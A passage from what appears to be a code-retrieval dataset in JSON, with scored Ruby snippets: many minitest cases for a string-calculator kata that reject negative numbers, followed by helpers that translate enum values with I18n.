'//[-1]\\n-2-13'\n @errorMessage = 'Negatives not allowed : -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "9b0d5b3f55088ff38429134e860d60ee", "score": "0.62985605", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration81\n # Arrange.\n @inputValue = '//[+][!][#]\\n-1'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "e0165ddf6903f7ae693bc9855b7f823e", "score": "0.6298137", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration54\n # Arrange.\n @inputValue = '//[*][%]\\n-1*-2'\n @errorMessage = 'Negatives not allowed : -1, -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "e421c7a4d255669af421cdd032e57b2d", "score": "0.6297262", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration28\n # Arrange.\n @inputValue = '//[$$]\\n-1$$-1'\n @errorMessage = 'Negatives not allowed : -1, -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "9241bf431fa7fec6753221f9f1460c97", "score": "0.6295651", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration57\n # Arrange.\n @inputValue = '//[**][%%]\\n-1'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "424327ae2aeef7e67f2d471d36c67731", "score": "0.62885225", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration37\n # Arrange.\n @inputValue = '//[-1]\\n-2'\n @errorMessage = 'Negatives not allowed : -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "ea40c56b4ce9c3cc63c6c8c6d12e402e", "score": "0.6287618", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration51\n # Arrange.\n @inputValue = '//[*][%]\\n-1%2'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "d49d73122fbce33e1c609fc0a95b277e", "score": "0.628711", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration59\n # Arrange.\n @inputValue = '//[**][%%]\\n-1%%2'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "59ed9d4aad4c7d116a4cde93d1ba924b", "score": "0.6286656", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration87\n # Arrange.\n @inputValue = '//[+][!][#]\\n-1#-2+3'\n @errorMessage = 'Negatives not allowed : -1, -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "73fa0d294916162e797c65f7dd77ecad", "score": "0.62864214", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration56\n # Arrange.\n @inputValue = '//[*][%]\\n-1*-2%-1'\n @errorMessage = 'Negatives not allowed : -1, -2, -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "d9ca12e1aeac8e76fbf8d221eb9a3d85", "score": "0.6285556", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration86\n # Arrange.\n @inputValue = '//[+][!][#]\\n-1!-2#3'\n @errorMessage = 'Negatives not allowed : -1, -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "a79b9e52a58fcbd651c1d92d8faadff2", "score": "0.62845355", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration115\n # Arrange.\n @inputValue = '//[?][??][???]\\n-1??2'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "b0fe72f5b3680a2fd860bce0493695bf", "score": "0.628333", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration119\n # Arrange.\n @inputValue = '//[?][??][???]\\n-1???-2?3'\n @errorMessage = 'Negatives not allowed : -1, -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "7fd3b6cccaf4bf2a6884d4758c1d2457", "score": "0.62795913", "text": "def add(num)\n \n end", "title": "" }, { "docid": "7fd3b6cccaf4bf2a6884d4758c1d2457", "score": "0.62795913", "text": "def add(num)\n \n end", "title": "" }, { "docid": "58f5264a74bc2836930c00d18aa6e36d", "score": "0.6277076", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration76\n # Arrange.\n @inputValue = '//[[][]]\\n1[-2'\n @errorMessage = 'Negatives not allowed : -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "28f804c95d69d5010e78e7d2672c025a", "score": "0.62770355", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration97\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n-4'\n @errorMessage = 'Negatives not allowed : -4'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "28db792e39f1e94edec8ca80a1f5c658", "score": "0.62768024", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration117\n # Arrange.\n @inputValue = '//[?][??][???]\\n-1?-2??3'\n @errorMessage = 'Negatives not allowed : -1, -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "53931c2c992a808b8a530798555e3d0b", "score": "0.62733305", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration32\n # Arrange.\n @inputValue = '//[sep]\\n-1sep-1'\n @errorMessage = 'Negatives not allowed : -1, -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "6b9ebcca678a7dc5b9fe416ad680ffb1", "score": "0.62650234", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration74\n # Arrange.\n @inputValue = '//[[][]]\\n-1[2'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "148bdb30242badad93db39eb3f731b0e", "score": "0.62649125", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration62\n # Arrange.\n @inputValue = '//[**][%%]\\n-1**-2'\n @errorMessage = 'Negatives not allowed : -1, -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "0fa2a1a1cdb915c1a439de2ca2772715", "score": "0.62626725", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration44\n # Arrange.\n @inputValue = '//[-1][-2]\\n3-1-4'\n @errorMessage = 'Negatives not allowed : -4'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "96d7bf7d0c9c35fe996053ae4ecf6218", "score": "0.6259732", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration112\n # Arrange.\n @inputValue = '//[sep1][sep2][sep3]\\n-1sep1-2sep2-3sep3-1'\n @errorMessage = 'Negatives not allowed : -1, -2, -3, -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "0d54d34ccca755a9ef68959fa728c540", "score": "0.6258395", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration41\n # Arrange.\n @inputValue = '//[-1][-2]\\n-3'\n @errorMessage = 'Negatives not allowed : -3'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "3983d52d9b25cce01a62d2c46eca30db", "score": "0.62582195", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration100\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n-4-35'\n @errorMessage = 'Negatives not allowed : -4'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "64d6067214ff14484777dd22715b2408", "score": "0.6255447", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration92\n # Arrange.\n @inputValue = '//[++][!!][##]\\n-1##2'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "009a97159447a21d30faf1c9ae07c481", "score": "0.6255442", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration83\n # Arrange.\n @inputValue = '//[+][!][#]\\n-1!2'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "7f3972257264ed534a4307134b2323b5", "score": "0.62541485", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration120\n # Arrange.\n @inputValue = '//[?][??][???]\\n-1?-2??-3???-1'\n @errorMessage = 'Negatives not allowed : -1, -2, -3, -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "c7d41d89a06724e339e64639635825cb", "score": "0.6250581", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration116\n # Arrange.\n @inputValue = '//[?][??][???]\\n-1???2'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "72f9a5660f70947e7e2b9547838f91f4", "score": "0.6247823", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration55\n # Arrange.\n @inputValue = '//[*][%]\\n-1%-2'\n @errorMessage = 'Negatives not allowed : -1, -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "22c8205a267c200804233f9c2aa4d42c", "score": "0.6241402", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration82\n # Arrange.\n @inputValue = '//[+][!][#]\\n-1+2'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "19fd2300c263dbe6bd193a938bbe2cae", "score": "0.6239878", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration75\n # Arrange.\n @inputValue = '//[[][]]\\n-1]2'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "f09e774e81560d1e129a06045d4c3a42", "score": "0.6237489", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration25\n # Arrange.\n @inputValue = '//[$$]\\n-1'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "952739d763b6642bea9ea46623a1388c", "score": "0.62351567", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration90\n # Arrange.\n @inputValue = '//[++][!!][##]\\n-1++2'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "6f992b8e7dd1f024ef812ef3b862a574", "score": "0.6233767", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration42\n # Arrange.\n @inputValue = '//[-1][-2]\\n-3-14'\n @errorMessage = 'Negatives not allowed : -3'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "7406bb6af15908e7de63d029ed31f9f6", "score": "0.62232953", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration118\n # Arrange.\n @inputValue = '//[?][??][???]\\n-1??-2???3'\n @errorMessage = 'Negatives not allowed : -1, -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "d6ce1d1c9c7fbe9cfabc72a6d38ab984", "score": "0.6219571", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration36\n # Arrange.\n @inputValue = '//[\\n]\\n-1\\n-1'\n @errorMessage = 'Negatives not allowed : -1, -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "34e6d72cc49163d311e31d5a74a67259", "score": "0.62010384", "text": "def add(input,params)\n\tnumeric,unused=params\n\treturn input+numeric\nend", "title": "" }, { "docid": "0db3d5df63aed24395ab7c0379e8152e", "score": "0.61951554", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration110\n # Arrange.\n @inputValue = '//[sep1][sep2][sep3]\\n-1sep2-2sep33'\n @errorMessage = 'Negatives not allowed : -1, -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "c355b4d7c4f3d89e4bbc110d4a2fddcd", "score": "0.61949843", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration85\n # Arrange.\n @inputValue = '//[+][!][#]\\n-1+-2!3'\n @errorMessage = 'Negatives not allowed : -1, -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "2e02ec9f804f1b941fd6164de896ccbe", "score": "0.6194631", "text": "def add(value)\n if (value.instance_of? Integer)\n super\n end\n end", "title": "" }, { "docid": "09a5397a1ac16f4edbe167e6f38e00c6", "score": "0.6193324", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration22\n # Arrange.\n @inputValue = '//[$]\\n-1$2'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "2da4311ef7e6110e42ed3d4063a1c3a4", "score": "0.6191829", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration4\n # Arrange.\n @inputValue = '//$\\n-1$-1'\n @errorMessage = 'Negatives not allowed : -1, -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "0e95db5f41a0ac5c16075b53aba7c0a8", "score": "0.61889666", "text": "def plus\r\n if @calc.count < 2\r\n raise_exception\r\n else \t\r\n p = @calc[-2] + @calc[-1]\r\n @calc.pop(2)\t\r\n @calc.push(p)\r\n end \r\nend", "title": "" }, { "docid": "dea2a59d3961aecdbe9fdcb0e881d191", "score": "0.6185371", "text": "def add_missing(*args, &block)\n add_remove(:add, :-, *args, &block)\n end", "title": "" }, { "docid": "27d2e176e170dbaa9160865ca54888c5", "score": "0.6177011", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration33\n # Arrange.\n @inputValue = '//[\\n]\\n-1'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "ba78d0604fc84936d3987c155b8281ab", "score": "0.61764187", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration50\n # Arrange.\n @inputValue = '//[*][%]\\n-1*2'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "6d568055bf0d00b7a09faa178e9cf063", "score": "0.6174128", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration108\n # Arrange.\n @inputValue = '//[sep1][sep2][sep3]\\n-1sep32'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "110bc8eaff92304665c90dddc0b250c6", "score": "0.61702156", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsMultipleErrors\n # Arrange.\n @inputValue = '-1\\n;|2;'\n @errorMessage = \"Negatives not allowed : -1\\\\n\"\n @errorMessage += \"';' or '\\\\n' expected but '|' found at position 5.\\\\n\"\n @errorMessage += \"Number expected but ';' found at position 4.\\\\n\"\n @errorMessage += \"Number expected but EOF found.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "97bb8794c4aae99aad044b0462e44f31", "score": "0.61615235", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration77\n # Arrange.\n @inputValue = '//[[][]]\\n1]-2'\n @errorMessage = 'Negatives not allowed : -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "97dd6bc17a41eb858296efb43a6ec3bc", "score": "0.6161254", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration84\n # Arrange.\n @inputValue = '//[+][!][#]\\n-1#2'\n @errorMessage = 'Negatives not allowed : -1'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "44a4c86a5d9d7a1606e9fcb058bb7ebe", "score": "0.6159059", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration109\n # Arrange.\n @inputValue = '//[sep1][sep2][sep3]\\n-1sep1-2sep23'\n @errorMessage = 'Negatives not allowed : -1, -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "d1395fdcfc67116bc4deaf213e331be3", "score": "0.61554915", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainingNegativeNumberWithCustomSeparatorDeclaration20\n # Arrange.\n @inputValue = '//-1\\n-2-1-2'\n @errorMessage = 'Negatives not allowed : -2, -2'\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" } ]
807f728c7222de36db553d5d2a957c45
Returns the i18n string for the const key Example usage: enum_i18n(User, :ACCESS_LEVELS, :admin_user)
[ { "docid": "55dd1b783a2359ff751d6d157f3c844a", "score": "0.7692841", "text": "def const_i18n(class_name, const, key)\n I18n.t(\"activerecord.attributes.#{class_name.model_name.i18n_key}.#{const.downcase}.#{key}\")\n end", "title": "" } ]
[ { "docid": "e36d944802d4d8daf94719252b999585", "score": "0.82138", "text": "def enum_i18n(class_name, enum, key)\n I18n.t(\"activerecord.enums.#{class_name.model_name.i18n_key}.#{enum.to_s}.#{key}\")\n end", "title": "" }, { "docid": "d25f170932155e1aa25fcb5fea5f78dd", "score": "0.8122803", "text": "def enum_i18n(class_name, enum, key)\n I18n.t \"activerecord.enums.#{class_name.model_name.i18n_key}.#{enum.to_s.pluralize}.#{key}\"\n end", "title": "" }, { "docid": "e39efe02bb654b54c8d84658d5908f86", "score": "0.8049077", "text": "def enum_i18n(class_name, enum, key)\n I18n.t(\"activerecord.attributes.#{class_name.model_name.i18n_key}.#{enum.to_s.pluralize}.#{key}\")\n end", "title": "" }, { "docid": "b736979a4afc1c32290648c959750d80", "score": "0.8017709", "text": "def enum_i18n(class_name, enum, key)\n I18n.t(\"activerecord.attributes.#{class_name.model_name.i18n_key}.#{enum.to_s.pluralize}.#{key}\") if key\n end", "title": "" }, { "docid": "7d2ac7fc45c5b334333afdb1c04c358d", "score": "0.69945204", "text": "def translate_enum(record, key)\n record.class.human_enum_name(key, record.public_send(key))\n end", "title": "" }, { "docid": "2fc883a722bafd37e3cc17277ce2ede6", "score": "0.69342566", "text": "def human_enum_name model, attr, value = nil\n value ||= model.send(attr)\n value = (model.is_a?(Class) ? model : model.class).send(attr.to_s.pluralize).key(value) if value.is_a?(Integer)\n I18n.translate value, scope: [:activerecord, :attributes, model.model_name.i18n_key, attr.to_s.pluralize]\n end", "title": "" }, { "docid": "2cc198dab81f5d350fef3694f3512392", "score": "0.69088185", "text": "def i18n_key\n @i18n_key ||= if self.class.respond_to? :i18n_key\n self.class.i18n_key\n else\n [ i18n_key_base, name ].join('.').freeze\n end\n end", "title": "" }, { "docid": "fa47a0600b6b1c19cec8d0a6c86349f1", "score": "0.68878603", "text": "def t_enum(enum_attr, enum_value = nil)\n enum_value ||= public_send(enum_attr)\n I18n.t(\n \"activerecord.attributes.#{model_name.i18n_key}.#{enum_attr.to_s.pluralize}.#{enum_value}\"\n )\n end", "title": "" }, { "docid": "fc1d59d0c482df95e5a24ca4a75bbc54", "score": "0.68120295", "text": "def i18n_key\n key\n end", "title": "" }, { "docid": "cfd3a806301db5c8667e1bdb47cef93f", "score": "0.67683893", "text": "def i18n_key; end", "title": "" }, { "docid": "cfd3a806301db5c8667e1bdb47cef93f", "score": "0.67683893", "text": "def i18n_key; end", "title": "" }, { "docid": "cfd3a806301db5c8667e1bdb47cef93f", "score": "0.67683893", "text": "def i18n_key; end", "title": "" }, { "docid": "5557ae86f073692303767030311130c0", "score": "0.6767627", "text": "def enum_t(attribute)\n I18n.t(\"enums.#{self.class.name.to_s.tableize.singularize}.#{attribute}.#{read_attribute(attribute)}\", default: [:\"enums.defaults.#{read_attribute(attribute)}\"])\n end", "title": "" }, { "docid": "16e8fc34313e5c592b9543fcd0cf6388", "score": "0.6684912", "text": "def translate_enum_name(class_name, enum_name, enum_value)\n return nil unless enum_value\n I18n.t(\"activerecord.attributes.#{class_name.to_s.gsub('::', '/').downcase}.#{enum_name}.#{enum_value}\")\n end", "title": "" }, { "docid": "ba21f4188970f07d4abc9ce4a0b07dc5", "score": "0.6601381", "text": "def enum_l(model, enum)\n enum_i18n(model.class, enum, model.send(enum))\n end", "title": "" }, { "docid": "ba21f4188970f07d4abc9ce4a0b07dc5", "score": "0.6601381", "text": "def enum_l(model, enum)\n enum_i18n(model.class, enum, model.send(enum))\n end", "title": "" }, { "docid": "ba21f4188970f07d4abc9ce4a0b07dc5", "score": "0.6601381", "text": "def enum_l(model, enum)\n enum_i18n(model.class, enum, model.send(enum))\n end", "title": "" }, { "docid": "ba21f4188970f07d4abc9ce4a0b07dc5", "score": "0.6601381", "text": "def enum_l(model, enum)\n enum_i18n(model.class, enum, model.send(enum))\n end", "title": "" }, { "docid": "f81be5d2248d40816a9deb86eb614ef9", "score": "0.65708846", "text": "def i18n_key\n [subject, kind].join('.')\n end", "title": "" }, { "docid": "39645fdef45c75f95981c57c7519985e", "score": "0.6484039", "text": "def i18n_key\n name.split('::').last.to_underscore\n end", "title": "" }, { "docid": "8216034b3c2e7565f054d952973ba5ec", "score": "0.63341117", "text": "def translate_enum( *args, &block )\n enum_name = args.shift\n enum_plural = enum_name.to_s.pluralize\n t_scope = args.pop || \"activerecord.attributes.#{self.name.underscore}.#{enum_plural}\"\n\n if block_given?\n humanize_enum( enum_name, &block )\n else\n humanize_enum( enum_name, send(enum_plural).keys.map{|en| [ en, Proc.new{ I18n.t(\"#{t_scope}.#{en}\") }] }.to_h )\n end\n end", "title": "" }, { "docid": "b00b1d1aea56b4af9cea074570649641", "score": "0.62997836", "text": "def to_human\n @enum.key(to_i) || \"<unknown:#{@value}>\"\n end", "title": "" }, { "docid": "99bf62a1327f700455eff6193a7fac28", "score": "0.6251071", "text": "def i18n_scope\n [ :enums, name ]\n end", "title": "" }, { "docid": "b6eedba23a19b2922f992f7d6e9cfe39", "score": "0.6250167", "text": "def i18n_description\n I18n.t(\"i18n_description_#{code}\".to_sym, scope: [self.class.get_scope_sym])\n end", "title": "" }, { "docid": "5017708ae3d9f63016444a374d9b0e6e", "score": "0.6167729", "text": "def to_i18n\n id = @namespace.consume_id!\n @namespace.set_id(id, contents_i18n)\n output = \"t(:#{id}\"\n if !self.variables.nil?\n vars = self.variables.collect { |h| {:name => h[:name], :value => h[:value] }}\n output += \", \" + vars.collect {|h| \":#{h[:name]} => #{h[:value]}\"}.join(\", \")\n end\n output += \", \" + @namespace.to_i18n_scope\n output += \")\"\n return output\n end", "title": "" }, { "docid": "a5d6ee1a99d57941a3f87361fb3e4c18", "score": "0.6111119", "text": "def i18n_key(type)\n ['rubrics', 'criterion', type, model_name.element].join('.')\n end", "title": "" }, { "docid": "5c0be4d9fa6ee16ec7efb04e2bd984f9", "score": "0.6077312", "text": "def to_s; \"Enum #{@name}(#{@map.keys.join(', ')}, ver=#{self.ver})\" end", "title": "" }, { "docid": "44d23f09a4cc6513dcb0ccd928b059ef", "score": "0.60533696", "text": "def human_enum_name(enum_name, enum_value)\n raise ArgumentError, \"#{enum_name} is not a defined enum for #{model_name}\" unless defined_enums.key?(enum_name.to_s)\n\n unless defined_enums[enum_name.to_s].key?(enum_value)\n raise ArgumentError,\n \"#{enum_value} is not a listed enum value for given enum #{enum_name}. Listed values are: #{defined_enums[enum_name.to_s].keys.to_sentence}\"\n end\n\n enum_i18n_key = enum_name.to_s.pluralize\n I18n.translate!(\"activerecord.attributes.#{model_name.i18n_key}.#{enum_i18n_key}.#{enum_value}\")\n rescue I18n::MissingTranslationData\n enum_value.to_s.titleize\n end", "title": "" }, { "docid": "e39ad3fe2563c6df93da4ea319503635", "score": "0.6052463", "text": "def localization_key(key)\n localization_prefix + '.' + key\n end", "title": "" }, { "docid": "35e0ff9f3b2ba4b419b07324c2fd7f46", "score": 